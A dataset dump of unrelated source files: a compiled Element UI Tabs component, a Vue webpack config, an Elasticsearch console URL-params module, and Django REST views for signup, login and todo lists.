text
stringlengths 3
1.05M
|
---|
module.exports =
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, { enumerable: true, get: getter });
/******/ }
/******/ };
/******/
/******/ // define __esModule on exports
/******/ __webpack_require__.r = function(exports) {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/
/******/ // create a fake namespace object
/******/ // mode & 1: value is a module id, require it
/******/ // mode & 2: merge all properties of value into the ns
/******/ // mode & 4: return value when already ns object
/******/ // mode & 8|1: behave like require
/******/ __webpack_require__.t = function(value, mode) {
/******/ if(mode & 1) value = __webpack_require__(value);
/******/ if(mode & 8) return value;
/******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
/******/ var ns = Object.create(null);
/******/ __webpack_require__.r(ns);
/******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value });
/******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
/******/ return ns;
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "/dist/";
/******/
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 62);
/******/ })
/************************************************************************/
/******/ ({
/***/ 0:
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return normalizeComponent; });
/* globals __VUE_SSR_CONTEXT__ */
// IMPORTANT: Do NOT use ES2015 features in this file (except for modules).
// This module is a runtime utility for cleaner component module output and will
// be included in the final webpack user bundle.
function normalizeComponent (
scriptExports,
render,
staticRenderFns,
functionalTemplate,
injectStyles,
scopeId,
moduleIdentifier, /* server only */
shadowMode /* vue-cli only */
) {
// Vue.extend constructor export interop
var options = typeof scriptExports === 'function'
? scriptExports.options
: scriptExports
// render functions
if (render) {
options.render = render
options.staticRenderFns = staticRenderFns
options._compiled = true
}
// functional template
if (functionalTemplate) {
options.functional = true
}
// scopedId
if (scopeId) {
options._scopeId = 'data-v-' + scopeId
}
var hook
if (moduleIdentifier) { // server build
hook = function (context) {
// 2.3 injection
context =
context || // cached call
(this.$vnode && this.$vnode.ssrContext) || // stateful
(this.parent && this.parent.$vnode && this.parent.$vnode.ssrContext) // functional
// 2.2 with runInNewContext: true
if (!context && typeof __VUE_SSR_CONTEXT__ !== 'undefined') {
context = __VUE_SSR_CONTEXT__
}
// inject component styles
if (injectStyles) {
injectStyles.call(this, context)
}
// register component module identifier for async chunk inferrence
if (context && context._registeredComponents) {
context._registeredComponents.add(moduleIdentifier)
}
}
// used by ssr in case component is cached and beforeCreate
// never gets called
options._ssrRegister = hook
} else if (injectStyles) {
hook = shadowMode
? function () {
injectStyles.call(
this,
(options.functional ? this.parent : this).$root.$options.shadowRoot
)
}
: injectStyles
}
if (hook) {
if (options.functional) {
// for template-only hot-reload because in that case the render fn doesn't
// go through the normalizer
options._injectStyles = hook
// register for functional component in vue file
var originalRender = options.render
options.render = function renderWithStyleInjection (h, context) {
hook.call(context)
return originalRender(h, context)
}
} else {
// inject component registration as beforeCreate hook
var existing = options.beforeCreate
options.beforeCreate = existing
? [].concat(existing, hook)
: [hook]
}
}
return {
exports: scriptExports,
options: options
}
}
/***/ }),
/***/ 15:
/***/ (function(module, exports) {
module.exports = require("element-ui/lib/utils/resize-event");
/***/ }),
/***/ 18:
/***/ (function(module, exports) {
module.exports = require("element-ui/lib/locale");
/***/ }),
/***/ 3:
/***/ (function(module, exports) {
module.exports = require("element-ui/lib/utils/util");
/***/ }),
/***/ 62:
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);
// CONCATENATED MODULE: ./node_modules/vue-loader/lib/loaders/templateLoader.js??vue-loader-options!./node_modules/vue-loader/lib??vue-loader-options!./packages/tabs/src/tab-bar.vue?vue&type=template&id=2031f33a&
var tab_barvue_type_template_id_2031f33a_render = function() {
var _vm = this
var _h = _vm.$createElement
var _c = _vm._self._c || _h
return _c("div", {
staticClass: "el-tabs__active-bar",
class: "is-" + _vm.rootTabs.tabPosition,
style: _vm.barStyle
})
}
var staticRenderFns = []
tab_barvue_type_template_id_2031f33a_render._withStripped = true
// CONCATENATED MODULE: ./packages/tabs/src/tab-bar.vue?vue&type=template&id=2031f33a&
// EXTERNAL MODULE: external "element-ui/lib/utils/util"
var util_ = __webpack_require__(3);
// CONCATENATED MODULE: ./node_modules/babel-loader/lib!./node_modules/vue-loader/lib??vue-loader-options!./packages/tabs/src/tab-bar.vue?vue&type=script&lang=js&
//
//
//
/* harmony default export */ var tab_barvue_type_script_lang_js_ = ({
name: 'TabBar',
props: {
tabs: Array,
parent: Object
},
inject: ['rootTabs'],
computed: {
barStyle: {
get: function get() {
var _this = this;
var style = {};
var offset = 0;
var tabSize = 0;
var sizeName = ['top', 'bottom'].indexOf(this.rootTabs.tabPosition) !== -1 ? 'width' : 'height';
var sizeDir = sizeName === 'width' ? 'x' : 'y';
var firstUpperCase = function firstUpperCase(str) {
return str.toLowerCase().replace(/( |^)[a-z]/g, function (L) {
return L.toUpperCase();
});
};
this.tabs.every(function (tab, index) {
var $el = Object(util_["arrayFind"])(_this.$parent.$refs.tabs || [], function (t) {
return t.id.replace('tab-', '') === tab.paneName;
});
if (!$el) {
return false;
}
if (!tab.active) {
offset += $el['client' + firstUpperCase(sizeName)];
return true;
} else {
tabSize = $el['client' + firstUpperCase(sizeName)];
var tabStyles = window.getComputedStyle($el);
if (sizeName === 'width' && _this.tabs.length > 1) {
tabSize -= parseFloat(tabStyles.paddingLeft) + parseFloat(tabStyles.paddingRight);
}
if (sizeName === 'width') {
offset += parseFloat(tabStyles.paddingLeft);
}
return false;
}
});
var tabDropdown = this.parent.$refs.tabDropdown;
var _parent = this.parent,
moreShow = _parent.moreShow,
moreLabel = _parent.moreLabel;
if (moreShow && moreLabel && tabDropdown) {
tabSize = tabDropdown.$el['client' + firstUpperCase(sizeName)];
var tabStyles = window.getComputedStyle(tabDropdown.$el);
if (sizeName === 'width') {
tabSize -= parseFloat(tabStyles.paddingLeft) + parseFloat(tabStyles.paddingRight);
offset += parseFloat(tabStyles.paddingLeft);
}
}
var transform = 'translate' + firstUpperCase(sizeDir) + '(' + offset + 'px)';
style[sizeName] = tabSize + 'px';
style.transform = transform;
style.msTransform = transform;
style.webkitTransform = transform;
return style;
}
}
}
});
// CONCATENATED MODULE: ./packages/tabs/src/tab-bar.vue?vue&type=script&lang=js&
/* harmony default export */ var src_tab_barvue_type_script_lang_js_ = (tab_barvue_type_script_lang_js_);
// EXTERNAL MODULE: ./node_modules/vue-loader/lib/runtime/componentNormalizer.js
var componentNormalizer = __webpack_require__(0);
// CONCATENATED MODULE: ./packages/tabs/src/tab-bar.vue
/* normalize component */
var component = Object(componentNormalizer["a" /* default */])(
src_tab_barvue_type_script_lang_js_,
tab_barvue_type_template_id_2031f33a_render,
staticRenderFns,
false,
null,
null,
null
)
/* hot reload */
if (false) { var api; }
component.options.__file = "packages/tabs/src/tab-bar.vue"
/* harmony default export */ var tab_bar = (component.exports);
// EXTERNAL MODULE: external "element-ui/lib/utils/resize-event"
var resize_event_ = __webpack_require__(15);
// EXTERNAL MODULE: external "element-ui/lib/locale"
var locale_ = __webpack_require__(18);
// CONCATENATED MODULE: ./node_modules/babel-loader/lib!./node_modules/vue-loader/lib??vue-loader-options!./packages/tabs/src/tab-nav.vue?vue&type=script&lang=js&
function noop() {}
var tab_navvue_type_script_lang_js_firstUpperCase = function firstUpperCase(str) {
return str.toLowerCase().replace(/( |^)[a-z]/g, function (L) {
return L.toUpperCase();
});
};
/* harmony default export */ var tab_navvue_type_script_lang_js_ = ({
name: 'TabNav',
components: {
TabBar: tab_bar
},
inject: ['rootTabs'],
props: {
panes: Array,
currentName: String,
editable: Boolean,
onTabClick: {
type: Function,
default: noop
},
onTabRemove: {
type: Function,
default: noop
},
type: String,
mode: String,
stretch: Boolean
},
data: function data() {
return {
scrollable: false,
navOffset: 0,
isFocus: false,
focusable: true,
moreShow: false, // 默认展示 主要控制更多按钮,不能仅通过 moreIndex 控制
moreIndex: -1
};
},
computed: {
navStyle: function navStyle() {
var dir = ['top', 'bottom'].indexOf(this.rootTabs.tabPosition) !== -1 ? 'X' : 'Y';
return {
transform: 'translate' + dir + '(-' + this.navOffset + 'px)'
};
},
sizeName: function sizeName() {
return ['top', 'bottom'].indexOf(this.rootTabs.tabPosition) !== -1 ? 'width' : 'height';
},
moreLabel: function moreLabel() {
if (this.moreShow) {
var moreLabel = '';
for (var index = 0; index < this.panes.length; index++) {
var pane = this.panes[index];
if (pane.active) {
// 只按照label 展示, 不展示插槽
// 非收起 tabItem active,更多按钮 展示更多
moreLabel = this.moreIndex < index ? pane.label : '';
break;
}
}
return moreLabel;
}
return '';
}
},
methods: {
t: function t() {
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return locale_["t"].apply(this, args);
},
scrollPrev: function scrollPrev() {
var containerSize = this.$refs.navScroll['offset' + tab_navvue_type_script_lang_js_firstUpperCase(this.sizeName)];
var currentOffset = this.navOffset;
if (!currentOffset) return;
var newOffset = currentOffset > containerSize ? currentOffset - containerSize : 0;
this.navOffset = newOffset;
},
scrollNext: function scrollNext() {
var navSize = this.$refs.nav['offset' + tab_navvue_type_script_lang_js_firstUpperCase(this.sizeName)];
var containerSize = this.$refs.navScroll['offset' + tab_navvue_type_script_lang_js_firstUpperCase(this.sizeName)];
var currentOffset = this.navOffset;
if (navSize - currentOffset <= containerSize) return;
var newOffset = navSize - currentOffset > containerSize * 2 ? currentOffset + containerSize : navSize - containerSize;
this.navOffset = newOffset;
},
scrollToActiveTab: function scrollToActiveTab() {
if (!this.scrollable) return;
var nav = this.$refs.nav;
var activeTab = this.$el.querySelector('.is-active');
if (!activeTab) return;
var navScroll = this.$refs.navScroll;
var isHorizontal = ['top', 'bottom'].indexOf(this.rootTabs.tabPosition) !== -1;
var activeTabBounding = activeTab.getBoundingClientRect();
var navScrollBounding = navScroll.getBoundingClientRect();
var maxOffset = isHorizontal ? nav.offsetWidth - navScrollBounding.width : nav.offsetHeight - navScrollBounding.height;
var currentOffset = this.navOffset;
var newOffset = currentOffset;
if (isHorizontal) {
if (activeTabBounding.left < navScrollBounding.left) {
newOffset = currentOffset - (navScrollBounding.left - activeTabBounding.left);
}
if (activeTabBounding.right > navScrollBounding.right) {
newOffset = currentOffset + activeTabBounding.right - navScrollBounding.right;
}
} else {
if (activeTabBounding.top < navScrollBounding.top) {
newOffset = currentOffset - (navScrollBounding.top - activeTabBounding.top);
}
if (activeTabBounding.bottom > navScrollBounding.bottom) {
newOffset = currentOffset + (activeTabBounding.bottom - navScrollBounding.bottom);
}
}
newOffset = Math.max(newOffset, 0);
this.navOffset = Math.min(newOffset, maxOffset);
},
updateMoreIndex: function updateMoreIndex() {
var _this = this;
this.moreIndex = -1;
this.moreShow = false;
this.$nextTick(function () {
var sizeName = _this.sizeName;
var navSize = _this.$refs.nav['offset' + tab_navvue_type_script_lang_js_firstUpperCase(sizeName)];
var containerSize = _this.$refs.navScroll['offset' + tab_navvue_type_script_lang_js_firstUpperCase(sizeName)];
if (containerSize < navSize) {
var moreIndex = -1;
_this.moreIndex = moreIndex;
_this.moreShow = true;
_this.$nextTick(function () {
var children = Array.from(_this.$refs.nav.childNodes || []);
var tabItems = [];
var dropdown = null;
children.forEach(function (item) {
if (item.className) {
if (item.className.includes('el-tabs__item')) {
tabItems.push(item);
} else if (item.className.includes('el-dropdown')) {
dropdown = item;
}
}
});
// 20 为间隔宽度
var dropDownWith = dropdown ? dropdown.getBoundingClientRect().width : 0;
var contentWidth = dropDownWith; // 初始默认按钮宽
for (var index = 0; index < tabItems.length; index++) {
var element = tabItems[index];
contentWidth = element.getBoundingClientRect().width + contentWidth;
if (contentWidth > containerSize) {
moreIndex = index - 1;
break;
}
}
_this.moreIndex = moreIndex;
_this.moreShow = moreIndex !== -1;
});
} else {
_this.moreIndex = -1;
_this.moreShow = false;
}
});
},
dropdownCommand: function dropdownCommand(command) {},
update: function update() {
if (!this.$refs.nav) return;
var sizeName = this.sizeName;
var navSize = this.$refs.nav['offset' + tab_navvue_type_script_lang_js_firstUpperCase(sizeName)];
var containerSize = this.$refs.navScroll['offset' + tab_navvue_type_script_lang_js_firstUpperCase(sizeName)];
// 更多类型,左右切换变为更多
if (this.mode !== 'more') {
if (containerSize < navSize) {
var currentOffset = this.navOffset;
this.scrollable = this.scrollable || {};
this.scrollable.prev = currentOffset;
this.scrollable.next = currentOffset + containerSize < navSize;
if (navSize - currentOffset < containerSize) {
this.navOffset = navSize - containerSize;
}
} else {
var _currentOffset = this.navOffset;
this.scrollable = false;
if (_currentOffset > 0) {
this.navOffset = 0;
}
}
}
},
changeTab: function changeTab(e) {
var keyCode = e.keyCode;
var nextIndex = void 0;
var currentIndex = void 0,
tabList = void 0;
if ([37, 38, 39, 40].indexOf(keyCode) !== -1) {
// 左右上下键更换tab
tabList = e.currentTarget.querySelectorAll('[role=tab]');
currentIndex = Array.prototype.indexOf.call(tabList, e.target);
} else {
return;
}
if (keyCode === 37 || keyCode === 38) {
// left
if (currentIndex === 0) {
// first
nextIndex = tabList.length - 1;
} else {
nextIndex = currentIndex - 1;
}
} else {
// right
if (currentIndex < tabList.length - 1) {
// not last
nextIndex = currentIndex + 1;
} else {
nextIndex = 0;
}
}
tabList[nextIndex].focus(); // 改变焦点元素
tabList[nextIndex].click(); // 选中下一个tab
this.setFocus();
},
setFocus: function setFocus() {
if (this.focusable) {
this.isFocus = true;
}
},
removeFocus: function removeFocus() {
this.isFocus = false;
},
visibilityChangeHandler: function visibilityChangeHandler() {
var _this2 = this;
var visibility = document.visibilityState;
if (visibility === 'hidden') {
this.focusable = false;
} else if (visibility === 'visible') {
setTimeout(function () {
_this2.focusable = true;
}, 50);
}
},
windowBlurHandler: function windowBlurHandler() {
this.focusable = false;
},
windowFocusHandler: function windowFocusHandler() {
var _this3 = this;
setTimeout(function () {
_this3.focusable = true;
}, 50);
}
},
updated: function updated() {
this.update();
},
render: function render(h) {
var _this4 = this;
var type = this.type,
panes = this.panes,
editable = this.editable,
stretch = this.stretch,
onTabClick = this.onTabClick,
onTabRemove = this.onTabRemove,
navStyle = this.navStyle,
scrollable = this.scrollable,
scrollNext = this.scrollNext,
scrollPrev = this.scrollPrev,
changeTab = this.changeTab,
setFocus = this.setFocus,
removeFocus = this.removeFocus,
mode = this.mode,
moreShow = this.moreShow,
moreIndex = this.moreIndex;
var scrollBtn = scrollable ? [h(
'span',
{ 'class': ['el-tabs__nav-prev', scrollable.prev ? '' : 'is-disabled'], on: {
'click': scrollPrev
}
},
[h('i', { 'class': 'el-icon-arrow-left' })]
), h(
'span',
{ 'class': ['el-tabs__nav-next', scrollable.next ? '' : 'is-disabled'], on: {
'click': scrollNext
}
},
[h('i', { 'class': 'el-icon-arrow-right' })]
)] : null;
var tabs = [];
var dropdowns = [];
this._l(panes, function (pane, index) {
var tabName = pane.name || pane.index || index;
var closable = pane.isClosable || editable;
pane.index = '' + index;
var btnClose = closable ? h('span', { 'class': 'el-icon-close', on: {
'click': function click(ev) {
onTabRemove(pane, ev);
}
}
}) : null;
var tabLabelContent = pane ? pane.$slots.label || pane.label : '';
var tabindex = pane.active ? 0 : -1;
if (moreIndex !== -1 && moreIndex < index) {
dropdowns.push(h(
'el-dropdown-item',
{
'class': {
'el-tabs--dropdown-item': true,
'is-active': pane.active,
'is-disabled': pane.disabled
},
nativeOn: {
'click': function click(ev) {
removeFocus();onTabClick(pane, tabName, ev);_this4.updateMoreIndex();
}
}
},
[tabLabelContent]
));
} else {
var _ref;
tabs.push(h(
'div',
{
'class': (_ref = {
'el-tabs__item': true
}, _ref['is-' + _this4.rootTabs.tabPosition] = true, _ref['is-active'] = pane.active, _ref['is-disabled'] = pane.disabled, _ref['is-closable'] = closable, _ref['is-focus'] = _this4.isFocus, _ref),
attrs: { id: 'tab-' + tabName,
'aria-controls': 'pane-' + tabName,
role: 'tab',
'aria-selected': pane.active,
tabindex: tabindex
},
key: 'tab-' + tabName, ref: 'tabs', refInFor: true,
on: {
'focus': function focus() {
setFocus();
},
'blur': function blur() {
removeFocus();
},
'click': function click(ev) {
removeFocus();onTabClick(pane, tabName, ev);
},
'keydown': function keydown(ev) {
if (closable && (ev.keyCode === 46 || ev.keyCode === 8)) {
onTabRemove(pane, ev);
}
}
}
},
[tabLabelContent, btnClose]
));
}
});
return h(
'div',
{ 'class': ['el-tabs__nav-wrap', scrollable ? 'is-scrollable' : '', 'is-' + this.rootTabs.tabPosition] },
[scrollBtn, h(
'div',
{ 'class': ['el-tabs__nav-scroll'], ref: 'navScroll' },
[h(
'div',
{
'class': ['el-tabs__nav', 'is-' + this.rootTabs.tabPosition, stretch && ['top', 'bottom'].indexOf(this.rootTabs.tabPosition) !== -1 ? 'is-stretch' : '', this.mode === 'more' ? 'el-tabs__nav--more' : ''],
ref: 'nav',
style: navStyle,
attrs: { role: 'tablist'
},
on: {
'keydown': changeTab
}
},
[!type ? h('tab-bar', {
attrs: { tabs: panes, parent: this }
}) : null, tabs, mode === 'more' && moreShow ? h(
'el-dropdown',
{
ref: 'tabDropdown',
'class': 'el-tabs--dropdown',
attrs: { id: 'el-tabs--dropdown',
trigger: 'click' },
on: {
'command': this.dropdownCommand
}
},
[h(
'el-button',
{ 'class': 'dropdown-btn' },
[this.moreLabel || Object(locale_["t"])('el.tabs.more'), h('i', { 'class': 'el-icon-arrow-down' })]
), h(
'el-dropdown-menu',
{ slot: 'dropdown' },
[dropdowns]
)]
) : null]
)]
)]
);
},
mounted: function mounted() {
var _this5 = this;
Object(resize_event_["addResizeListener"])(this.$el, this.update);
if (this.mode === 'more') {
Object(resize_event_["addResizeListener"])(this.$el, this.updateMoreIndex);
}
document.addEventListener('visibilitychange', this.visibilityChangeHandler);
window.addEventListener('blur', this.windowBlurHandler);
window.addEventListener('focus', this.windowFocusHandler);
setTimeout(function () {
_this5.scrollToActiveTab();
}, 0);
},
beforeDestroy: function beforeDestroy() {
if (this.$el && this.update) Object(resize_event_["removeResizeListener"])(this.$el, this.update);
if (this.mode === 'more' && this.$el && this.updateMoreIndex) Object(resize_event_["removeResizeListener"])(this.$el, this.updateMoreIndex);
document.removeEventListener('visibilitychange', this.visibilityChangeHandler);
window.removeEventListener('blur', this.windowBlurHandler);
window.removeEventListener('focus', this.windowFocusHandler);
}
});
// CONCATENATED MODULE: ./packages/tabs/src/tab-nav.vue?vue&type=script&lang=js&
/* harmony default export */ var src_tab_navvue_type_script_lang_js_ = (tab_navvue_type_script_lang_js_);
// CONCATENATED MODULE: ./packages/tabs/src/tab-nav.vue
var tab_nav_render, tab_nav_staticRenderFns
/* normalize component */
var tab_nav_component = Object(componentNormalizer["a" /* default */])(
src_tab_navvue_type_script_lang_js_,
tab_nav_render,
tab_nav_staticRenderFns,
false,
null,
null,
null
)
/* hot reload */
if (false) { var tab_nav_api; }
tab_nav_component.options.__file = "packages/tabs/src/tab-nav.vue"
/* harmony default export */ var tab_nav = (tab_nav_component.exports);
// CONCATENATED MODULE: ./node_modules/babel-loader/lib!./node_modules/vue-loader/lib??vue-loader-options!./packages/tabs/src/tabs.vue?vue&type=script&lang=js&
/* harmony default export */ var tabsvue_type_script_lang_js_ = ({
name: 'ElTabs',
components: {
TabNav: tab_nav
},
props: {
type: String,
activeName: String,
closable: Boolean,
addable: Boolean,
value: {},
editable: Boolean,
tabPosition: {
type: String,
default: 'top'
},
beforeLeave: Function,
stretch: Boolean,
navMode: {
type: String,
default: 'default' // default more
}
},
provide: function provide() {
return {
rootTabs: this
};
},
data: function data() {
return {
currentName: this.value || this.activeName,
panes: []
};
},
watch: {
activeName: function activeName(value) {
this.setCurrentName(value);
},
value: function value(_value) {
this.setCurrentName(_value);
},
currentName: function currentName(value) {
var _this = this;
if (this.$refs.nav) {
this.$nextTick(function () {
_this.$refs.nav.$nextTick(function (_) {
_this.$refs.nav.scrollToActiveTab();
});
});
}
}
},
methods: {
calcPaneInstances: function calcPaneInstances() {
var _this2 = this;
var isForceUpdate = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
if (this.$slots.default) {
var paneSlots = this.$slots.default.filter(function (vnode) {
return vnode.tag && vnode.componentOptions && vnode.componentOptions.Ctor.options.name === 'ElTabPane';
});
// update indeed
var panes = paneSlots.map(function (_ref) {
var componentInstance = _ref.componentInstance;
return componentInstance;
});
var panesChanged = !(panes.length === this.panes.length && panes.every(function (pane, index) {
return pane === _this2.panes[index];
}));
if (isForceUpdate || panesChanged) {
this.panes = panes;
}
} else if (this.panes.length !== 0) {
this.panes = [];
}
},
handleTabClick: function handleTabClick(tab, tabName, event) {
if (tab.disabled) return;
this.setCurrentName(tabName);
this.$emit('tab-click', tab, event);
},
handleTabRemove: function handleTabRemove(pane, ev) {
if (pane.disabled) return;
ev.stopPropagation();
this.$emit('edit', pane.name, 'remove');
this.$emit('tab-remove', pane.name);
},
handleTabAdd: function handleTabAdd() {
this.$emit('edit', null, 'add');
this.$emit('tab-add');
},
setCurrentName: function setCurrentName(value) {
var _this3 = this;
var changeCurrentName = function changeCurrentName() {
_this3.currentName = value;
_this3.$emit('input', value);
};
if (this.currentName !== value && this.beforeLeave) {
var before = this.beforeLeave(value, this.currentName);
if (before && before.then) {
before.then(function () {
changeCurrentName();
_this3.$refs.nav && _this3.$refs.nav.removeFocus();
}, function () {
// https://github.com/ElemeFE/element/pull/14816
// ignore promise rejection in `before-leave` hook
});
} else if (before !== false) {
changeCurrentName();
}
} else {
changeCurrentName();
}
}
},
render: function render(h) {
var _ref2;
var type = this.type,
navMode = this.navMode,
handleTabClick = this.handleTabClick,
handleTabRemove = this.handleTabRemove,
handleTabAdd = this.handleTabAdd,
currentName = this.currentName,
panes = this.panes,
editable = this.editable,
addable = this.addable,
tabPosition = this.tabPosition,
stretch = this.stretch;
var newButton = editable || addable ? h(
'span',
{
'class': 'el-tabs__new-tab',
on: {
'click': handleTabAdd,
'keydown': function keydown(ev) {
if (ev.keyCode === 13) {
handleTabAdd();
}
}
},
attrs: {
tabindex: '0'
}
},
[h('i', { 'class': 'el-icon-plus' })]
) : null;
var navData = {
props: {
currentName: currentName,
onTabClick: handleTabClick,
onTabRemove: handleTabRemove,
editable: editable,
type: type,
mode: navMode,
panes: panes,
stretch: stretch
},
ref: 'nav'
};
var header = h(
'div',
{ 'class': ['el-tabs__header', 'is-' + tabPosition] },
[newButton, h('tab-nav', navData)]
);
var panels = h(
'div',
{ 'class': 'el-tabs__content' },
[this.$slots.default]
);
return h(
'div',
{ 'class': (_ref2 = {
'el-tabs': true,
'el-tabs--card': type === 'card'
}, _ref2['el-tabs--' + tabPosition] = true, _ref2['el-tabs--border-card'] = type === 'border-card', _ref2) },
[tabPosition !== 'bottom' ? [header, panels] : [panels, header]]
);
},
created: function created() {
if (!this.currentName) {
this.setCurrentName('0');
}
this.$on('tab-nav-update', this.calcPaneInstances.bind(null, true));
},
mounted: function mounted() {
this.calcPaneInstances();
},
updated: function updated() {
this.calcPaneInstances();
}
});
// CONCATENATED MODULE: ./packages/tabs/src/tabs.vue?vue&type=script&lang=js&
/* harmony default export */ var src_tabsvue_type_script_lang_js_ = (tabsvue_type_script_lang_js_);
// CONCATENATED MODULE: ./packages/tabs/src/tabs.vue
var tabs_render, tabs_staticRenderFns
/* normalize component */
var tabs_component = Object(componentNormalizer["a" /* default */])(
src_tabsvue_type_script_lang_js_,
tabs_render,
tabs_staticRenderFns,
false,
null,
null,
null
)
/* hot reload */
if (false) { var tabs_api; }
tabs_component.options.__file = "packages/tabs/src/tabs.vue"
/* harmony default export */ var src_tabs = (tabs_component.exports);
// CONCATENATED MODULE: ./packages/tabs/index.js
/* istanbul ignore next */
src_tabs.install = function (Vue) {
Vue.component(src_tabs.name, src_tabs);
};
/* harmony default export */ var packages_tabs = __webpack_exports__["default"] = (src_tabs);
/***/ })
/******/ }); |
var path = require('path')
var utils = require('./utils')
var config = require('../config')
var vueLoaderConfig = require('./vue-loader.conf')
function resolve(dir) {
return path.join(__dirname, '..', dir)
}
module.exports = {
entry: {
app: './src/main.js'
},
output: {
path: config.build.assetsRoot,
filename: '[name].js',
publicPath: process.env.NODE_ENV === 'production' ?
config.build.assetsPublicPath : config.dev.assetsPublicPath
},
resolve: {
extensions: ['.js', '.vue', '.json'],
alias: {
'vue$': 'vue/dist/vue.esm.js',
"src": resolve("src"),
"assets": resolve("src/assets"),
"components": resolve("src/components"),
"baseView": resolve("src/views")
}
},
module: {
rules: [{
test: /\.vue$/,
loader: 'vue-loader',
options: vueLoaderConfig
},
{
test: /\.js$/,
loader: 'babel-loader',
include: [resolve('src'), resolve('test')]
},
{
test: /\.(png|jpe?g|gif|svg)(\?.*)?$/,
loader: 'url-loader',
options: {
limit: 10000,
name: utils.assetsPath('img/[name].[hash:7].[ext]')
}
},
{
test: /\.(woff2?|eot|ttf|otf)(\?.*)?$/,
loader: 'url-loader',
options: {
limit: 10000,
name: utils.assetsPath('fonts/[name].[hash:7].[ext]')
}
}
]
}
} |
/*
* Licensed to Elasticsearch B.V. under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch B.V. licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
const _ = require('lodash');
import { ConstantComponent, ListComponent, SharedComponent } from './components';
export class ParamComponent extends ConstantComponent {
constructor(name, parent, description) {
super(name, parent);
this.description = description;
}
getTerms() {
const t = { name: this.name };
if (this.description === '__flag__') {
t.meta = 'flag';
}
else {
t.meta = 'param';
t.insertValue = this.name + '=';
}
return [t];
}
}
export class UrlParams {
constructor(description, defaults) {
// This is not really a component, just a handy container to make iteration logic simpler
this.rootComponent = new SharedComponent('ROOT');
if (_.isUndefined(defaults)) {
defaults = {
'pretty': '__flag__',
'format': ['json', 'yaml'],
'filter_path': '',
};
}
description = _.clone(description || {});
_.defaults(description, defaults);
_.each(description, function (pDescription, param) {
const component = new ParamComponent(param, this.rootComponent, pDescription);
if (Array.isArray(pDescription)) {
new ListComponent(param, pDescription, component);
}
else if (pDescription === '__flag__') {
new ListComponent(param, ['true', 'false'], component);
}
}, this);
}
getTopLevelComponents() {
return this.rootComponent.next;
}
}
|
from rest_framework import generics, permissions
from .serializers import TodoSerializer, TodoCompleteSerializer
from todo.models import Todo
from django.utils import timezone
from django.views.decorators.csrf import csrf_exempt
from rest_framework.parsers import JSONParser
from django.http import JsonResponse
from django.db import IntegrityError
from django.contrib.auth.models import User
from rest_framework.authtoken.models import Token
from django.contrib.auth import authenticate
@csrf_exempt
def signup(request):
if request.method == 'POST':
try:
data = JSONParser().parse(request)
user = User.objects.create_user(data['username'], password=data['password'])
user.save()
token = Token.objects.create(user=user)
return JsonResponse({'token':str(token)}, status=201)
except IntegrityError:
return JsonResponse({'error':'That username has already been taken. Please choose a new username.'}, status=400)
@csrf_exempt
def login(request):
if request.method == 'POST':
data = JSONParser().parse(request)
user = authenticate(request, username=data['username'], password=data['password'])
if user is None:
return JsonResponse({'error':'Could not login. Please check username and password.'}, status=400)
else:
try:
token = Token.objects.get(user=user)
except:
token = Token.objects.create(user=user)
return JsonResponse({'token':str(token)}, status=200)
# Create your views here.
class TodoCompletedList(generics.ListAPIView):
serializer_class = TodoSerializer
permission_classes = [permissions.IsAuthenticated]
def get_queryset(self):
user = self.request.user
return Todo.objects.filter(user=user, datecompleted__isnull=False).order_by('-datecompleted')
class TodoListCreate(generics.ListCreateAPIView):
serializer_class = TodoSerializer
permission_classes = [permissions.IsAuthenticated]
def get_queryset(self):
user = self.request.user
return Todo.objects.filter(user=user, datecompleted__isnull=True)
def perform_create(self, serializer):
serializer.save(user=self.request.user)
